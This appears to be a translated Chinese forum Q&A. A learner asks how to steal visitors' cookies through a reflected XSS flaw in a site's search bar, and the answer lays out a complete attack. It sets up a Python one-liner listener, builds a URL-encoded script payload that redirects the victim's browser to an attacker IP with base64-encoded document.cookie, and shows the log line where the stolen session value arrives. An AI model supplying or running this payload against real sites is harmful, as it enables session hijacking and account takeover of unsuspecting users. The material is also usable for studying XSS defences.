我正在学习 XSS 攻击。
假设我有一个网站(我们称之为http://www.animallover.com
),它允许我在搜索栏中输入任何内容来搜索动物名称。该网站很容易受到攻击,因为进入<script>alert(1)</script>
搜索栏会触发警报。
我的目标是通过要求用户访问来窃取用户的 cookie http://www.animallover.com
。
我没有 Web 服务器来托管我的 cookie 捕获脚本。
我该怎么办?
您可以很容易地在自己的计算机上设置 HTTP 服务器。
例如,Python 3 支持以下单行 HTTP 服务器:
python -m http.server 8000
这将响应到达系统端口 8000 的 HTTP 请求。请记住,您可能需要调整防火墙并在路由器上设置端口转发以允许流量通过此端口。并确保您在一个空文件夹中输入此命令,因为其中的所有内容都将在互联网上发布。
所有传入的请求都将记录在命令行终端上。因此,如果您尝试获取管理员的 cookie 值,您可以创建这样的链接(我假设您的 IP 地址是12.34.56.78
;您可以从 Google 获得正确的值):
http://example.com/search?q=%3Cscript%3Elocation.href%3D%27http%3A%2F%2F12.34.56.78%3A8000%2F%3F%27%2Bbtoa%28document.cookie%29%3B%3C%2Fscript%3E
这将在目标服务器上运行以下脚本:
<script>location.href='http://12.34.56.78:8000/?'+btoa(document.cookie);</script>
cookie 值将采用 base64 编码,因此您需要在它到达时对其进行解码。日志输出将如下所示:
$ python -m http.server 8000
99.99.99.99 - - [01/Jan/2021 01:23:45] "GET /?dXNlcj1hZG1pbjsgc2Vzc2lvbl9pZD0xMjM0NTY3OAo= HTTP/1.1" 200 -